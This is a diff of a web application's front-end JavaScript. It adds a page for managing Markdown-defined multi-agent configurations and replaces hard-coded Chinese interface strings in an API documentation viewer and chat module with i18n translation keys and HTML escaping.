"loadSkillsFailed": "加载skills列表失败",
"cannotDeleteDefaultRole": "不能删除默认角色",
"noMatchingSkills": "没有找到匹配的skills",
"noSkillsAvailable": "暂无可用skills",
"usingAllTools": "使用所有工具",
"andNMore": " 等 {{count}} 个",
"toolsLabel": "工具:",
"noTools": "暂无工具",
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
"paginationSearch": " (搜索: \"{{keyword}}\")",
"firstPage": "首页",
"prevPage": "上一页",
"pageOf": "第 {{page}} / {{total}} 页",
"nextPage": "下一页",
"lastPage": "末页"
}
}
+227
View File
@@ -0,0 +1,227 @@
// 多代理子 Agent Markdownagents/*.md)管理
function _agentsT(key, opts) {
return typeof window.t === 'function' ? window.t(key, opts) : key;
}
let markdownAgentsEditingFilename = null;
let markdownAgentsEditingIsOrchestrator = false;
function bindAgentsMdListDelegation() {
const listEl = document.getElementById('agents-md-list');
if (!listEl || listEl.dataset.agentsClickBound === '1') return;
listEl.dataset.agentsClickBound = '1';
listEl.addEventListener('click', function (e) {
var t = e.target;
if (!t || !t.closest) return;
var editBtn = t.closest('[data-action="edit-agent-md"]');
var delBtn = t.closest('[data-action="delete-agent-md"]');
if (editBtn) {
var f = editBtn.getAttribute('data-agent-file');
if (f) {
try { editMarkdownAgent(decodeURIComponent(f)); } catch (err) { console.warn(err); }
}
return;
}
if (delBtn) {
var f2 = delBtn.getAttribute('data-agent-file');
if (f2) {
try { deleteMarkdownAgent(decodeURIComponent(f2)); } catch (err2) { console.warn(err2); }
}
}
});
}
async function loadMarkdownAgents() {
const listEl = document.getElementById('agents-md-list');
const dirEl = document.getElementById('agents-md-dir');
if (!listEl) return;
bindAgentsMdListDelegation();
listEl.innerHTML = '<div class="loading-spinner">' + _agentsT('agentsPage.loading') + '</div>';
try {
const r = await apiFetch('/api/multi-agent/markdown-agents');
const data = await r.json();
if (!r.ok) {
throw new Error(data.error || r.statusText);
}
if (dirEl) {
const d = data.dir || '';
dirEl.textContent = d ? (_agentsT('agentsPage.dirLabel') + ': ' + d) : '';
}
const agents = data.agents || [];
if (agents.length === 0) {
listEl.innerHTML = '<div class="empty-state">' + _agentsT('agentsPage.empty') + '</div>';
return;
}
agents.sort(function (x, y) {
var ox = x.is_orchestrator ? 1 : 0;
var oy = y.is_orchestrator ? 1 : 0;
return oy - ox;
});
listEl.innerHTML = agents.map(function (a) {
const rawFn = a.filename || '';
const fn = escapeHtml(rawFn);
const id = escapeHtml(a.id || '');
const name = escapeHtml(a.name || '');
const desc = escapeHtml(a.description || _agentsT('agentsPage.noDesc'));
const orch = !!a.is_orchestrator;
const badgeLabel = orch ? _agentsT('agentsPage.badgeOrchestrator') : _agentsT('agentsPage.badgeSub');
const badgeClass = orch ? 'agent-role-badge agent-role-badge--orchestrator' : 'agent-role-badge agent-role-badge--sub';
return (
'<div class="skill-card">' +
'<div class="skill-card-header">' +
'<h3 class="skill-card-title">' + name + '<span class="' + badgeClass + '">' + escapeHtml(badgeLabel) + '</span></h3>' +
'<div class="skill-card-description"><code>' + fn + '</code> · id: <code>' + id + '</code><br>' + desc + '</div>' +
'</div>' +
'<div class="skill-card-actions">' +
'<button type="button" class="btn-secondary btn-small" data-action="edit-agent-md" data-agent-file="' + encodeURIComponent(rawFn) + '">' + escapeHtml(_agentsT('common.edit')) + '</button>' +
'<button type="button" class="btn-secondary btn-small btn-danger" data-action="delete-agent-md" data-agent-file="' + encodeURIComponent(rawFn) + '">' + escapeHtml(_agentsT('common.delete')) + '</button>' +
'</div></div>'
);
}).join('');
} catch (e) {
console.error(e);
listEl.innerHTML = '<div class="empty-state">' + escapeHtml(e.message || String(e)) + '</div>';
showNotification(_agentsT('agentsPage.loadFailed') + ': ' + e.message, 'error');
}
}
function showAddMarkdownAgentModal() {
markdownAgentsEditingFilename = null;
markdownAgentsEditingIsOrchestrator = false;
const modal = document.getElementById('agent-md-modal');
const title = document.getElementById('agent-md-modal-title');
const row = document.getElementById('agent-md-filename-row');
if (title) title.textContent = _agentsT('agentsPage.createTitle');
if (row) row.style.display = '';
document.getElementById('agent-md-filename-current').value = '';
document.getElementById('agent-md-filename').value = '';
document.getElementById('agent-md-filename').disabled = false;
var roleEl = document.getElementById('agent-md-role');
if (roleEl) roleEl.value = 'sub';
document.getElementById('agent-md-id').value = '';
document.getElementById('agent-md-name').value = '';
document.getElementById('agent-md-description').value = '';
document.getElementById('agent-md-tools').value = '';
document.getElementById('agent-md-bind-role').value = '';
document.getElementById('agent-md-max-iter').value = '0';
document.getElementById('agent-md-instruction').value = '';
if (modal) modal.style.display = 'flex';
}
async function editMarkdownAgent(filename) {
if (!filename) return;
const modal = document.getElementById('agent-md-modal');
const title = document.getElementById('agent-md-modal-title');
const row = document.getElementById('agent-md-filename-row');
markdownAgentsEditingFilename = null;
markdownAgentsEditingIsOrchestrator = false;
if (title) title.textContent = _agentsT('agentsPage.editTitle');
if (row) row.style.display = 'none';
try {
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
const data = await r.json();
if (!r.ok) throw new Error(data.error || r.statusText);
markdownAgentsEditingFilename = data.filename || filename;
markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
document.getElementById('agent-md-filename-current').value = data.filename || filename;
document.getElementById('agent-md-filename').value = data.filename || filename;
document.getElementById('agent-md-filename').disabled = true;
var roleEl2 = document.getElementById('agent-md-role');
if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
document.getElementById('agent-md-id').value = data.id || '';
document.getElementById('agent-md-name').value = data.name || '';
document.getElementById('agent-md-description').value = data.description || '';
document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
document.getElementById('agent-md-bind-role').value = data.bind_role || '';
document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
document.getElementById('agent-md-instruction').value = data.instruction || '';
if (modal) modal.style.display = 'flex';
} catch (e) {
showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
}
}
function closeMarkdownAgentModal() {
const modal = document.getElementById('agent-md-modal');
if (modal) modal.style.display = 'none';
markdownAgentsEditingFilename = null;
markdownAgentsEditingIsOrchestrator = false;
}
function parseToolsInput(s) {
if (!s || !String(s).trim()) return [];
return String(s).split(/[,;|]/).map(function (x) { return x.trim(); }).filter(Boolean);
}
async function saveMarkdownAgent() {
const name = document.getElementById('agent-md-name').value.trim();
if (!name) {
showNotification(_agentsT('agentsPage.nameRequired'), 'error');
return;
}
const roleSel = document.getElementById('agent-md-role');
const roleVal = roleSel ? roleSel.value : 'sub';
const fnDraft = (document.getElementById('agent-md-filename') && document.getElementById('agent-md-filename').value.trim().toLowerCase()) || '';
const isOrchestratorAgent = markdownAgentsEditingIsOrchestrator ||
roleVal === 'orchestrator' ||
fnDraft === 'orchestrator.md';
const instruction = document.getElementById('agent-md-instruction').value.trim();
if (!isOrchestratorAgent && !instruction) {
showNotification(_agentsT('agentsPage.instructionRequired'), 'error');
return;
}
const body = {
id: document.getElementById('agent-md-id').value.trim(),
name: name,
description: document.getElementById('agent-md-description').value.trim(),
tools: parseToolsInput(document.getElementById('agent-md-tools').value),
instruction: instruction,
bind_role: document.getElementById('agent-md-bind-role').value.trim(),
max_iterations: parseInt(document.getElementById('agent-md-max-iter').value, 10) || 0,
kind: roleVal === 'orchestrator' ? 'orchestrator' : ''
};
const isEdit = !!markdownAgentsEditingFilename;
let url;
let method;
if (isEdit) {
url = '/api/multi-agent/markdown-agents/' + encodeURIComponent(markdownAgentsEditingFilename);
method = 'PUT';
} else {
url = '/api/multi-agent/markdown-agents';
method = 'POST';
const fn = document.getElementById('agent-md-filename').value.trim();
if (fn && !/^[a-zA-Z0-9][a-zA-Z0-9_.-]*\.md$/.test(fn)) {
showNotification(_agentsT('agentsPage.filenameInvalid'), 'error');
return;
}
body.filename = fn;
}
try {
const r = await apiFetch(url, {
method: method,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body)
});
const data = await r.json().catch(function () { return {}; });
if (!r.ok) throw new Error(data.error || r.statusText);
showNotification(isEdit ? _agentsT('agentsPage.saveOk') : _agentsT('agentsPage.createOk'), 'success');
closeMarkdownAgentModal();
await loadMarkdownAgents();
} catch (e) {
showNotification(_agentsT('agentsPage.saveFailed') + ': ' + e.message, 'error');
}
}
async function deleteMarkdownAgent(filename) {
if (!filename) return;
if (!confirm(_agentsT('agentsPage.deleteConfirm', { name: filename }))) return;
try {
const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename), { method: 'DELETE' });
const data = await r.json().catch(function () { return {}; });
if (!r.ok) throw new Error(data.error || r.statusText);
showNotification(_agentsT('agentsPage.deleteOk'), 'success');
await loadMarkdownAgents();
} catch (e) {
showNotification(_agentsT('agentsPage.deleteFailed') + ': ' + e.message, 'error');
}
}
+146 -61
View File
@@ -3,13 +3,74 @@
let apiSpec = null;
let currentToken = null;
function _t(key, opts) {
return typeof window.t === 'function' ? window.t(key, opts) : key;
}
function waitForI18n() {
return new Promise(function (resolve) {
if (window.t) return resolve();
var n = 0;
var iv = setInterval(function () {
if (window.t) { clearInterval(iv); resolve(); return; }
n++;
if (n >= 100) { clearInterval(iv); resolve(); }
}, 50);
});
}
// 从 OpenAPI spec 的 x-i18n-tags 构建 tag -> i18n key 映射(方案 A:后端提供键)
var apiSpecTagToKey = {};
function buildApiSpecTagToKey() {
apiSpecTagToKey = {};
if (!apiSpec || !apiSpec.paths) return;
Object.keys(apiSpec.paths).forEach(function (path) {
var pathItem = apiSpec.paths[path];
if (!pathItem || typeof pathItem !== 'object') return;
['get', 'post', 'put', 'delete', 'patch'].forEach(function (method) {
var op = pathItem[method];
if (!op || !op.tags || !op['x-i18n-tags']) return;
var tags = op.tags;
var keys = op['x-i18n-tags'];
for (var i = 0; i < tags.length && i < keys.length; i++) {
apiSpecTagToKey[tags[i]] = typeof keys[i] === 'string' ? keys[i] : keys[i];
}
});
});
}
function translateApiDocTag(tag) {
if (!tag) return tag;
var key = apiSpecTagToKey[tag];
return key ? _t('apiDocs.tags.' + key) : tag;
}
function translateApiDocSummaryFromOp(op) {
var key = op && op['x-i18n-summary'];
if (key) return _t('apiDocs.summary.' + key);
return op && op.summary ? op.summary : '';
}
function translateApiDocResponseDescFromResp(resp) {
if (!resp) return '';
var key = resp['x-i18n-description'];
if (key) return _t('apiDocs.response.' + key);
return resp.description || '';
}
// 初始化
document.addEventListener('DOMContentLoaded', async () => {
await waitForI18n();
await loadToken();
await loadAPISpec();
if (apiSpec) {
renderAPIDocs();
}
document.addEventListener('languagechange', function () {
if (typeof window.applyTranslations === 'function') {
window.applyTranslations(document);
}
if (apiSpec) {
renderAPIDocs();
}
});
});
// 加载token
@@ -43,22 +104,25 @@ async function loadAPISpec() {
const response = await fetch(url);
if (!response.ok) {
if (response.status === 401) {
showError('需要登录才能查看API文档。请先在前端页面登录,然后刷新此页面。');
showError(_t('apiDocs.errorLoginRequired'));
return;
}
throw new Error('加载API规范失败: ' + response.status);
throw new Error(_t('apiDocs.errorLoadSpec') + response.status);
}
apiSpec = await response.json();
buildApiSpecTagToKey();
} catch (error) {
console.error('加载API规范失败:', error);
showError('加载API文档失败: ' + error.message);
showError(_t('apiDocs.errorLoadFailed') + error.message);
}
}
// 显示错误
function showError(message) {
const main = document.getElementById('api-docs-main');
const loadFailed = _t('apiDocs.loadFailed');
const backToLogin = _t('apiDocs.backToLogin');
main.innerHTML = `
<div class="empty-state">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
@@ -66,10 +130,10 @@ function showError(message) {
<line x1="15" y1="9" x2="9" y2="15"/>
<line x1="9" y1="9" x2="15" y2="15"/>
</svg>
<h3>加载失败</h3>
<p>${message}</p>
<h3>${escapeHtml(loadFailed)}</h3>
<p>${escapeHtml(message)}</p>
<div style="margin-top: 16px;">
<a href="/" style="color: var(--accent-color); text-decoration: none;">返回首页登录</a>
<a href="/" style="color: var(--accent-color); text-decoration: none;">${escapeHtml(backToLogin)}</a>
</div>
</div>
`;
@@ -78,7 +142,7 @@ function showError(message) {
// 渲染API文档
function renderAPIDocs() {
if (!apiSpec || !apiSpec.paths) {
showError('API规范格式错误');
showError(_t('apiDocs.errorSpecInvalid'));
return;
}
@@ -109,7 +173,7 @@ function renderAuthInfo() {
tokenStatus.style.display = 'block';
tokenStatus.style.background = 'rgba(255, 152, 0, 0.1)';
tokenStatus.style.borderLeftColor = '#ff9800';
tokenStatus.innerHTML = '<p style="margin: 0; font-size: 0.8125rem; color: #ff9800;"><strong>⚠ 未检测到 Token</strong> - 请先在前端页面登录,然后刷新此页面。测试接口时需要在请求头中添加 Authorization: Bearer token</p>';
tokenStatus.innerHTML = '<p style="margin: 0; font-size: 0.8125rem; color: #ff9800;">' + escapeHtml(_t('apiDocs.tokenNotDetected')) + '</p>';
}
}
@@ -127,11 +191,14 @@ function renderSidebar() {
const groupList = document.getElementById('api-group-list');
const allGroups = Array.from(groups).sort();
while (groupList.children.length > 1) {
groupList.removeChild(groupList.lastChild);
}
allGroups.forEach(group => {
const li = document.createElement('li');
li.className = 'api-group-item';
li.innerHTML = `<a href="#" class="api-group-link" data-group="${group}">${group}</a>`;
const groupLabel = translateApiDocTag(group);
li.innerHTML = `<a href="#" class="api-group-link" data-group="${escapeHtml(group)}">${escapeHtml(groupLabel)}</a>`;
groupList.appendChild(li);
});
@@ -176,7 +243,7 @@ function renderEndpoints(filterGroup = null) {
});
if (endpoints.length === 0) {
main.innerHTML = '<div class="empty-state"><h3>暂无API</h3><p>该分组下没有API端点</p></div>';
main.innerHTML = '<div class="empty-state"><h3>' + escapeHtml(_t('apiDocs.noApis')) + '</h3><p>' + escapeHtml(_t('apiDocs.noEndpointsInGroup')) + '</p></div>';
return;
}
@@ -192,8 +259,8 @@ function createEndpointCard(endpoint) {
const methodClass = endpoint.method.toLowerCase();
const tags = endpoint.tags || [];
const tagHtml = tags.map(tag => `<span class="api-tag">${tag}</span>`).join('');
const tagHtml = tags.map(tag => `<span class="api-tag">${escapeHtml(translateApiDocTag(tag))}</span>`).join('');
const summaryText = translateApiDocSummaryFromOp(endpoint);
card.innerHTML = `
<div class="api-endpoint-header">
<div class="api-endpoint-title">
@@ -204,21 +271,21 @@ function createEndpointCard(endpoint) {
</div>
<div class="api-endpoint-body">
<div class="api-section">
<div class="api-section-title">描述</div>
${endpoint.summary ? `<div class="api-description" style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${escapeHtml(endpoint.summary)}</div>` : ''}
<div class="api-section-title">${escapeHtml(_t('apiDocs.sectionDescription'))}</div>
${summaryText ? `<div class="api-description" style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${escapeHtml(summaryText)}</div>` : ''}
${endpoint.description ? `
<div class="api-description-toggle">
<button class="description-toggle-btn" onclick="toggleDescription(this)">
<svg class="description-toggle-icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polyline points="6 9 12 15 18 9"/>
</svg>
<span>查看详细说明</span>
<span>${escapeHtml(_t('apiDocs.viewDetailDesc'))}</span>
</button>
<div class="api-description-detail" style="display: none;">
${formatDescription(endpoint.description)}
</div>
</div>
` : endpoint.summary ? '' : '<div class="api-description">无描述</div>'}
` : endpoint.summary ? '' : '<div class="api-description">' + escapeHtml(_t('apiDocs.noDescription')) + '</div>'}
</div>
${renderParameters(endpoint)}
@@ -236,8 +303,10 @@ function renderParameters(endpoint) {
const params = endpoint.parameters || [];
if (params.length === 0) return '';
const requiredLabel = escapeHtml(_t('apiDocs.required'));
const optionalLabel = escapeHtml(_t('apiDocs.optional'));
const rows = params.map(param => {
const required = param.required ? '<span class="api-param-required">必需</span>' : '<span class="api-param-optional">可选</span>';
const required = param.required ? '<span class="api-param-required">' + requiredLabel + '</span>' : '<span class="api-param-optional">' + optionalLabel + '</span>';
// 处理描述文本,将换行符转换为<br>
let descriptionHtml = '-';
if (param.description) {
@@ -255,17 +324,20 @@ function renderParameters(endpoint) {
`;
}).join('');
const paramName = escapeHtml(_t('apiDocs.paramName'));
const typeLabel = escapeHtml(_t('apiDocs.type'));
const descLabel = escapeHtml(_t('apiDocs.description'));
return `
<div class="api-section">
<div class="api-section-title">参数</div>
<div class="api-section-title">${escapeHtml(_t('apiDocs.sectionParams'))}</div>
<div class="api-table-wrapper">
<table class="api-params-table">
<thead>
<tr>
<th>参数名</th>
<th>类型</th>
<th>描述</th>
<th>必需</th>
<th>${paramName}</th>
<th>${typeLabel}</th>
<th>${descLabel}</th>
<th>${requiredLabel}</th>
</tr>
</thead>
<tbody>
@@ -297,11 +369,13 @@ function renderRequestBody(endpoint) {
let paramsTable = '';
if (schema.properties) {
const requiredFields = schema.required || [];
const reqLabel = escapeHtml(_t('apiDocs.required'));
const optLabel = escapeHtml(_t('apiDocs.optional'));
const rows = Object.keys(schema.properties).map(key => {
const prop = schema.properties[key];
const required = requiredFields.includes(key)
? '<span class="api-param-required">必需</span>'
: '<span class="api-param-optional">可选</span>';
? '<span class="api-param-required">' + reqLabel + '</span>'
: '<span class="api-param-optional">' + optLabel + '</span>';
// 处理嵌套类型
let typeDisplay = prop.type || 'object';
@@ -338,16 +412,20 @@ function renderRequestBody(endpoint) {
}).join('');
if (rows) {
const pName = escapeHtml(_t('apiDocs.paramName'));
const tLabel = escapeHtml(_t('apiDocs.type'));
const dLabel = escapeHtml(_t('apiDocs.description'));
const exLabel = escapeHtml(_t('apiDocs.example'));
paramsTable = `
<div class="api-table-wrapper" style="margin-top: 12px;">
<table class="api-params-table">
<thead>
<tr>
<th>参数名</th>
<th>类型</th>
<th>描述</th>
<th>必需</th>
<th>示例</th>
<th>${pName}</th>
<th>${tLabel}</th>
<th>${dLabel}</th>
<th>${reqLabel}</th>
<th>${exLabel}</th>
</tr>
</thead>
<tbody>
@@ -389,12 +467,12 @@ function renderRequestBody(endpoint) {
return `
<div class="api-section">
<div class="api-section-title">请求体</div>
<div class="api-section-title">${escapeHtml(_t('apiDocs.sectionRequestBody'))}</div>
${endpoint.requestBody.description ? `<div class="api-description">${endpoint.requestBody.description}</div>` : ''}
${paramsTable}
${example ? `
<div style="margin-top: 16px;">
<div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">示例JSON:</div>
<div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${escapeHtml(_t('apiDocs.exampleJson'))}</div>
<div class="api-response-example">
<pre>${escapeHtml(example)}</pre>
</div>
@@ -414,11 +492,11 @@ function renderResponses(endpoint) {
if (schema.example) {
example = JSON.stringify(schema.example, null, 2);
}
const descText = translateApiDocResponseDescFromResp(response);
return `
<div style="margin-bottom: 16px;">
<strong style="color: ${status.startsWith('2') ? 'var(--success-color)' : status.startsWith('4') ? 'var(--error-color)' : 'var(--warning-color)'}">${status}</strong>
${response.description ? `<span style="color: var(--text-secondary); margin-left: 8px;">${response.description}</span>` : ''}
${descText ? `<span style="color: var(--text-secondary); margin-left: 8px;">${escapeHtml(descText)}</span>` : ''}
${example ? `
<div class="api-response-example" style="margin-top: 8px;">
<pre>${escapeHtml(example)}</pre>
@@ -432,7 +510,7 @@ function renderResponses(endpoint) {
return `
<div class="api-section">
<div class="api-section-title">响应</div>
<div class="api-section-title">${escapeHtml(_t('apiDocs.sectionResponse'))}</div>
${responseItems}
</div>
`;
@@ -462,8 +540,8 @@ function renderTestSection(endpoint) {
const bodyInputId = `test-body-${escapeId(path)}-${method}`;
bodyInput = `
<div class="api-test-input-group">
<label>请求体 (JSON)</label>
<textarea id="${bodyInputId}" class="test-body-input" placeholder='请输入JSON格式的请求体'>${defaultBody}</textarea>
<label>${escapeHtml(_t('apiDocs.requestBodyJson'))}</label>
<textarea id="${bodyInputId}" class="test-body-input" placeholder='${escapeHtml(_t('apiDocs.requestBodyPlaceholder'))}'>${defaultBody}</textarea>
</div>
`;
}
@@ -491,7 +569,7 @@ function renderTestSection(endpoint) {
const inputId = `test-query-${param.name}-${escapeId(path)}-${method}`;
const defaultValue = param.schema?.default !== undefined ? param.schema.default : '';
const placeholder = param.description || param.name;
const required = param.required ? '<span style="color: var(--error-color);">*</span>' : '<span style="color: var(--text-muted);">可选</span>';
const required = param.required ? '<span style="color: var(--error-color);">*</span>' : '<span style="color: var(--text-muted);">' + escapeHtml(_t('apiDocs.optional')) + '</span>';
return `
<div class="api-test-input-group">
<label>${param.name} ${required}</label>
@@ -505,33 +583,40 @@ function renderTestSection(endpoint) {
}).join('');
}
const testSectionTitle = escapeHtml(_t('apiDocs.testSection'));
const queryParamsTitle = escapeHtml(_t('apiDocs.queryParams'));
const sendRequestLabel = escapeHtml(_t('apiDocs.sendRequest'));
const copyCurlLabel = escapeHtml(_t('apiDocs.copyCurl'));
const clearResultLabel = escapeHtml(_t('apiDocs.clearResult'));
const copyCurlTitle = escapeHtml(_t('apiDocs.copyCurlTitle'));
const clearResultTitle = escapeHtml(_t('apiDocs.clearResultTitle'));
return `
<div class="api-test-section">
<div class="api-section-title">测试接口</div>
<div class="api-section-title">${testSectionTitle}</div>
<div class="api-test-form">
${pathParamsInput}
${queryParamsInput ? `<div style="margin-top: 16px;"><div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">查询参数:</div>${queryParamsInput}</div>` : ''}
${queryParamsInput ? `<div style="margin-top: 16px;"><div style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${queryParamsTitle}</div>${queryParamsInput}</div>` : ''}
${bodyInput}
<div class="api-test-buttons">
<button class="api-test-btn primary" onclick="testAPI('${method}', '${escapeHtml(path)}', '${endpoint.operationId || ''}')">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polygon points="5 3 19 12 5 21 5 3"/>
</svg>
发送请求
${sendRequestLabel}
</button>
<button class="api-test-btn copy-curl" onclick="copyCurlCommand(event, '${method}', '${escapeHtml(path)}')" title="复制curl命令">
<button class="api-test-btn copy-curl" onclick="copyCurlCommand(event, '${method}', '${escapeHtml(path)}')" title="${copyCurlTitle}">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke="currentColor" stroke-width="2"/>
<path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1" stroke="currentColor" stroke-width="2"/>
</svg>
复制curl
${copyCurlLabel}
</button>
<button class="api-test-btn clear-result" onclick="clearTestResult('${escapeId(path)}-${method}')" title="清除测试结果">
<button class="api-test-btn clear-result" onclick="clearTestResult('${escapeId(path)}-${method}')" title="${clearResultTitle}">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polyline points="3 6 5 6 21 6"/>
<path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/>
</svg>
清除结果
${clearResultLabel}
</button>
</div>
<div id="test-result-${escapeId(path)}-${method}" class="api-test-result" style="display: none;"></div>
@@ -548,7 +633,7 @@ async function testAPI(method, path, operationId) {
resultDiv.style.display = 'block';
resultDiv.className = 'api-test-result loading';
resultDiv.textContent = '发送请求中...';
resultDiv.textContent = _t('apiDocs.sendingRequest');
try {
// 替换路径参数
@@ -561,7 +646,7 @@ async function testAPI(method, path, operationId) {
if (input && input.value) {
actualPath = actualPath.replace(param, encodeURIComponent(input.value));
} else {
throw new Error(`路径参数 ${paramName} 不能为空`);
throw new Error(_t('apiDocs.errorPathParamRequired', { name: paramName }));
}
});
@@ -580,7 +665,7 @@ async function testAPI(method, path, operationId) {
if (input && input.value !== '' && input.value !== null && input.value !== undefined) {
queryParams.push(`${encodeURIComponent(param.name)}=${encodeURIComponent(input.value)}`);
} else if (param.required) {
throw new Error(`查询参数 ${param.name} 不能为空`);
throw new Error(_t('apiDocs.errorQueryParamRequired', { name: param.name }));
}
});
}
@@ -602,8 +687,7 @@ async function testAPI(method, path, operationId) {
if (currentToken) {
options.headers['Authorization'] = 'Bearer ' + currentToken;
} else {
// 如果没有token,提示用户
throw new Error('未检测到 Token。请先在前端页面登录,然后刷新此页面。或者手动在请求头中添加 Authorization: Bearer your_token');
throw new Error(_t('apiDocs.errorTokenRequired'));
}
// 添加请求体
@@ -614,7 +698,7 @@ async function testAPI(method, path, operationId) {
try {
options.body = JSON.stringify(JSON.parse(bodyInput.value.trim()));
} catch (e) {
throw new Error('请求体JSON格式错误: ' + e.message);
throw new Error(_t('apiDocs.errorJsonInvalid') + e.message);
}
}
}
@@ -636,7 +720,7 @@ async function testAPI(method, path, operationId) {
} catch (error) {
resultDiv.className = 'api-test-result error';
resultDiv.textContent = '请求失败: ' + error.message;
resultDiv.textContent = _t('apiDocs.requestFailed') + error.message;
}
}
@@ -727,17 +811,17 @@ function copyCurlCommand(event, method, path) {
// 复制到剪贴板
const button = event ? event.target.closest('button') : null;
navigator.clipboard.writeText(curlCommand).then(() => {
// 显示成功提示
if (button) {
const originalText = button.innerHTML;
button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>已复制';
const copiedLabel = escapeHtml(_t('apiDocs.copied'));
button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>' + copiedLabel;
button.style.color = 'var(--success-color)';
setTimeout(() => {
button.innerHTML = originalText;
button.style.color = '';
}, 2000);
} else {
alert('curl命令已复制到剪贴板!');
alert(_t('apiDocs.curlCopied'));
}
}).catch(err => {
console.error('复制失败:', err);
@@ -752,24 +836,25 @@ function copyCurlCommand(event, method, path) {
document.execCommand('copy');
if (button) {
const originalText = button.innerHTML;
button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>已复制';
const copiedLabel = escapeHtml(_t('apiDocs.copied'));
button.innerHTML = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>' + copiedLabel;
button.style.color = 'var(--success-color)';
setTimeout(() => {
button.innerHTML = originalText;
button.style.color = '';
}, 2000);
} else {
alert('curl命令已复制到剪贴板!');
alert(_t('apiDocs.curlCopied'));
}
} catch (e) {
alert('复制失败,请手动复制:\n\n' + curlCommand);
alert(_t('apiDocs.copyFailedManual') + curlCommand);
}
document.body.removeChild(textarea);
});
} catch (error) {
console.error('生成curl命令失败:', error);
alert('生成curl命令失败: ' + error.message);
alert(_t('apiDocs.curlGenFailed') + error.message);
}
}
@@ -935,10 +1020,10 @@ function toggleDescription(button) {
if (detail.style.display === 'none') {
detail.style.display = 'block';
icon.style.transform = 'rotate(180deg)';
span.textContent = '隐藏详细说明';
span.textContent = typeof window.t === 'function' ? window.t('apiDocs.hideDetailDesc') : '隐藏详细说明';
} else {
detail.style.display = 'none';
icon.style.transform = 'rotate(0deg)';
span.textContent = '查看详细说明';
span.textContent = typeof window.t === 'function' ? window.t('apiDocs.viewDetailDesc') : '查看详细说明';
}
}
+15 -7
View File
@@ -242,6 +242,14 @@ async function refreshAppData(showTaskErrors = false) {
async function bootstrapApp() {
if (!isAppInitialized) {
// 等待 i18n 首包加载完成后再插系统就绪消息,避免清除缓存后语言显示 English 气泡仍是中文
try {
if (window.i18nReady && typeof window.i18nReady.then === 'function') {
await window.i18nReady;
}
} catch (e) {
console.warn('等待 i18n 就绪失败,继续初始化聊天', e);
}
initializeChatUI();
isAppInitialized = true;
}
@@ -250,13 +258,13 @@ async function bootstrapApp() {
// 通用工具函数
function getStatusText(status) {
const statusMap = {
'pending': '等待中',
'running': '执行中',
'completed': '已完成',
'failed': '失败'
};
return statusMap[status] || status;
if (typeof window.t !== 'function') {
const fallback = { pending: '等待中', running: '执行中', completed: '已完成', failed: '失败' };
return fallback[status] || status;
}
const keyMap = { pending: 'mcpDetailModal.statusPending', running: 'mcpDetailModal.statusRunning', completed: 'mcpDetailModal.statusCompleted', failed: 'mcpDetailModal.statusFailed' };
const key = keyMap[status];
return key ? window.t(key) : status;
}
function formatDuration(ms) {
File diff suppressed because it is too large Load Diff
+389 -99
View File
@@ -28,6 +28,108 @@ const CHAT_FILE_DEFAULT_PROMPT = '请根据上传的文件内容进行分析。'
/** @type {{ fileName: string, content: string, mimeType: string }[]} */
let chatAttachments = [];
// 多代理(Eino):需后端 multi_agent.enabled,与单代理 /agent-loop 并存
const AGENT_MODE_STORAGE_KEY = 'cyberstrike-chat-agent-mode';
let multiAgentAPIEnabled = false;
function getAgentModeLabelForValue(mode) {
if (typeof window.t === 'function') {
return mode === 'multi' ? window.t('chat.agentModeMulti') : window.t('chat.agentModeSingle');
}
return mode === 'multi' ? '多代理' : '单代理';
}
function getAgentModeIconForValue(mode) {
return mode === 'multi' ? '🧩' : '🤖';
}
function syncAgentModeFromValue(value) {
const hid = document.getElementById('agent-mode-select');
const label = document.getElementById('agent-mode-text');
const icon = document.getElementById('agent-mode-icon');
if (hid) hid.value = value;
if (label) label.textContent = getAgentModeLabelForValue(value);
if (icon) icon.textContent = getAgentModeIconForValue(value);
document.querySelectorAll('.agent-mode-option').forEach(function (el) {
const v = el.getAttribute('data-value');
el.classList.toggle('selected', v === value);
});
}
function closeAgentModePanel() {
const panel = document.getElementById('agent-mode-panel');
const btn = document.getElementById('agent-mode-btn');
if (panel) panel.style.display = 'none';
if (btn) {
btn.classList.remove('active');
btn.setAttribute('aria-expanded', 'false');
}
}
